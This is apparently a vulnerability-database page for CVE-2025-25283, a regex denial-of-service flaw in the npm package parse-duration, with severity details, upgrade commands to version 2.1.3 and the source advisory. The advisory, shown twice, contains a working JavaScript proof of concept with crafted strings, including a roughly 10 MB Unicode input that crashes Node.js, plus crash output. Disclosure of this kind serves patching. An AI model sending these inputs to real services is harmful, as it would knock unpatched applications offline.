Vulnerabilities in pkg:npm/parse-duration

PACKAGE
Advisory Identifier: GHSA-hcrg-fc28-fcg5
Advisory Summary

CVE-2025-25283 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Parse duration libraries in the npm ecosystem. The issue involves parse-duration has a regex denial of service that results in event loop delay and out of memory. Remediation is available by upgrading affected packages to version 2.1.3.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/parse-duration

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/parse-duration. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-hcrg-fc28-fcg5 CVE-2025-25283 HIGH parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

CVE-2025-25283 at a Glance

CVE Identifier CVE-2025-25283
GHSA Identifier GHSA-hcrg-fc28-fcg5
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Parse duration
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2025-25283

To remediate this vulnerability, upgrade all affected Parse duration dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

parse-duration fixed: 2.1.3
npm install parse-duration@2.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls parse-duration

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-25283, inspect your project dependencies using npm:

npm ls parse-duration

Analyze the terminal output to locate any version of Parse duration in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.3), your application is affected.

Note: The npm ls parse-duration command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Parse duration, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary This report finds 2 availability issues due to the regex used in the `parse-duration` npm package: 1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively. 2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. ### PoC Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings: ```js // Vulnerable regex to use from the library: import parse from './index.js' function generateStressTestString(length, decimalProbability) { let result = ""; for (let i = 0; i < length; i++) { if (Math.random() < decimalProbability) { result += "....".repeat(99); } result += Math.floor(Math.random() * 10); } return result; } function getStringSizeInMB_UTF8(str) { const sizeInBytes = Buffer.byteLength(str, 'utf8'); const sizeInMB = sizeInBytes / (1024 * 1024); return sizeInMB; } // Generate test strings with varying length and decimal probability: const longString1 = generateStressTestString(380, 0.05); const longString2 = generateStressTestString(10000, 0.9); const longString3 = generateStressTestString(500000, 1); const longStringVar1 = '-1e' + '-----'.repeat(915000) const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000) function testRegex(str) { const startTime = performance.now(); // one of the regex's used in the library: // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu; // const match = durationRE.test(str); // but we will use the exported library code directly: const match = parse(str); const endTime = performance.now(); const timeTaken = endTime - startTime; return { timeTaken, match }; } // Test the long strings: let result = {} { console.log( `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):` ); result = testRegex(longString1); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):` ); result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000)); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):` ); result = testRegex(longStringVar1); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):` ); result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000)); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } { console.log( `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):` ); result = testRegex(longStringVar2); console.log( ` matched: ${result.match}, time taken: ${result.timeTaken}ms` ); } ``` The results of this on the cloud machine that I ran this on are as follows: ```sh @lirantal ➜ /workspaces/parse-duration (master) $ node redos.js Regex test on string of length 6320 (size: 0.01 MB): matched: 5997140778.000855, time taken: 0.9271340000000237ms Regex test on string of length 3561724 (size: 3.40 MB): matched: 0.0006004999999999999, time taken: 728.7693149999999ms Regex test on string of length 4575003 (size: 4.36 MB): matched: null, time taken: 43.713984999999866ms Regex test on string of length 198500000 (size: 189.30 MB): <--- Last few GCs ---> [34339:0x7686430] 14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430] 17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed <--- JS stacktrace ---> FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory ----- Native stack trace ----- 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node] 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node] 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node] 4: 0x11180d5 [node] 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node] 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node] 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node] 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node] 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node] 10: 0x1979ef6 [node] Aborted (core dumped) ``` You can note that: 1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms) 2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function 3. A 200 MB of input size already causes JavaScript heap out of memory crash However, more interestingly, if we focus on the input string case: ```js const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000) ``` Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching: ```sh Regex test on string of length 5225503 (size: 9.97 MB): file:///workspaces/parse-duration/index.js:21 .replace(durationRE, (_, n, units) => { ^ RangeError: Maximum call stack size exceeded at String.replace (<anonymous>) at parse (file:///workspaces/parse-duration/index.js:21:6) at testRegex (file:///workspaces/parse-duration/redos.js:35:17) at file:///workspaces/parse-duration/redos.js:89:12 at ModuleJob.run (node:internal/modules/esm/module_job:234:25) at async ModuleLoader.import (node:internal/modules/esm/loader:473:24) at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5) Node.js v20.18.1 ``` To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory. ### Impact - I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage. - In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types. - Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.

CVE-2025-25283 Affected Parse duration Versions

1 component(s)
Fixed Versions:
2.1.3
Product / Package Ecosystem Affected Versions Fixed Version
parse-duration
npm
< 2.1.3
2.1.3

References

Frequently Asked Questions

What is CVE-2025-25283?
CVE-2025-25283 is a security vulnerability in Parse duration involving parse-duration has a Regex Denial of Service that results in event loop delay and out of memory under CWE-1333: Inefficient Regular Expression Complexity.
Which Parse duration versions are affected?
Affected versions include releases prior to 2.1.3 across affected packages: parse-duration.
What version fixes CVE-2025-25283?
Upgrading to 2.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is parse-duration affected?
Yes, parse-duration is affected in releases prior to 2.1.3. Upgrade your dependency to 2.1.3 or later.
What is the CVSS score of CVE-2025-25283?
CVE-2025-25283 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2025-25283?
CVE-2025-25283 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2025-25283?
Run the dependency tree command: 'npm ls parse-duration'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hcrg-fc28-fcg5",
  "modified" : "2025-02-12T21:35:41Z",
  "published" : "2025-02-12T19:45:51Z",
  "aliases" : [ "CVE-2025-25283" ],
  "summary" : "parse-duration has a Regex Denial of Service that results in event loop delay and out of memory",
  "details" : "### Summary\n\nThis report finds 2 availability issues due to the regex used in the `parse-duration` npm package:\n1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.\n2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.\n\n### PoC\n\nRefer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:\n\n```js\n// Vulnerable regex to use from the library:\nimport parse from './index.js'\n\nfunction generateStressTestString(length, decimalProbability) {\n  let result = \"\";\n  for (let i = 0; i < length; i++) {\n    if (Math.random() < decimalProbability) {\n      result += \"....\".repeat(99);\n    }\n    result += Math.floor(Math.random() * 10);\n  }\n  return result;\n}\n\nfunction getStringSizeInMB_UTF8(str) {\n  const sizeInBytes = Buffer.byteLength(str, 'utf8');\n  const sizeInMB = sizeInBytes / (1024 * 1024);\n  return sizeInMB;\n}\n\n\n// Generate test strings with varying length and decimal probability:\nconst longString1 = generateStressTestString(380, 0.05);\nconst longString2 = generateStressTestString(10000, 0.9);\nconst longString3 = generateStressTestString(500000, 1);\nconst longStringVar1 = '-1e' + '-----'.repeat(915000)\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"α\".repeat(5225000)\n\nfunction testRegex(str) {\n  const startTime = performance.now();\n  // one of the regex's used in the library:\n  // const durationRE = /(-?(?:\\d+\\.?\\d*|\\d*\\.?\\d+)(?:e[-+]?\\d+)?)\\s*([\\p{L}]*)/giu;\n  // const match = durationRE.test(str);\n  // but we will use the exported library code directly:\n  const match = parse(str);\n  const endTime = performance.now();\n  const timeTaken = endTime - startTime;\n  return { timeTaken, match };\n}\n\n// Test the long strings:\nlet result = {}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`\n  );\n  result = testRegex(longString1);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`\n  );\n  result = testRegex(longString2 + \"....\".repeat(100) + \"5сек\".repeat(9000));\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`\n  );\n  result = testRegex(longStringVar1);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`\n  );\n  result = testRegex(longString3 + '.'.repeat(10000) + \" 5сек\".repeat(9000));\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n\n{\n  console.log(\n    `\\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`\n  );\n  result = testRegex(longStringVar2);\n  console.log(\n    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`\n  );\n}\n```\n\nThe results of this on the cloud machine that I ran this on are as follows:\n\n```sh\n@lirantal ➜ /workspaces/parse-duration (master) $ node redos.js \n\nRegex test on string of length 6320 (size: 0.01 MB):\n   matched: 5997140778.000855, time taken: 0.9271340000000237ms\n\nRegex test on string of length 3561724 (size: 3.40 MB):\n   matched: 0.0006004999999999999, time taken: 728.7693149999999ms\n\nRegex test on string of length 4575003 (size: 4.36 MB):\n   matched: null, time taken: 43.713984999999866ms\n\nRegex test on string of length 198500000 (size: 189.30 MB):\n\n<--- Last few GCs --->\n\n[34339:0x7686430]    14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms  (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430]    17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms  (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed\n\n\n<--- JS stacktrace --->\n\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n----- Native stack trace -----\n\n 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]\n 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]\n 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]\n 4: 0x11180d5  [node]\n 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]\n 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]\n 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]\n 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]\n10: 0x1979ef6  [node]\nAborted (core dumped)\n```\n\nYou can note that:\n1. 0.01 MB of input was enough to cause a 1ms delay (0.92ms)\n2. Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's `parse()` function\n3. A 200 MB of input size already causes JavaScript heap out of memory crash\n\nHowever, more interestingly, if we focus on the input string case:\n\n```js\nconst longStringVar2 = \"1\" + \"0\".repeat(500) + \"e1\" + \"α\".repeat(5225000)\n```\n\nEven though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:\n\n```sh\nRegex test on string of length 5225503 (size: 9.97 MB):\nfile:///workspaces/parse-duration/index.js:21\n    .replace(durationRE, (_, n, units) => {\n     ^\n\nRangeError: Maximum call stack size exceeded\n    at String.replace (<anonymous>)\n    at parse (file:///workspaces/parse-duration/index.js:21:6)\n    at testRegex (file:///workspaces/parse-duration/redos.js:35:17)\n    at file:///workspaces/parse-duration/redos.js:89:12\n    at ModuleJob.run (node:internal/modules/esm/module_job:234:25)\n    at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)\n    at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)\n\nNode.js v20.18.1\n```\n \nTo note, the issue at hand may not just be the primary regex in use but rather the reliance of the various `replace` functions in the `parse()` function which create copies of the input in memory.\n\n### Impact\n\n- I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.\n- In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.\n- Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "parse-duration"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jkroso/parse-duration/security/advisories/GHSA-hcrg-fc28-fcg5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-25283"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jkroso/parse-duration/commit/9e88421bfd41806fa4b473bfb28a9ee9dafc27d7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jkroso/parse-duration"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jkroso/parse-duration/releases/tag/v2.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-12T19:45:51Z",
    "nvd_published_at" : "2025-02-12T19:15:21Z"
  }
}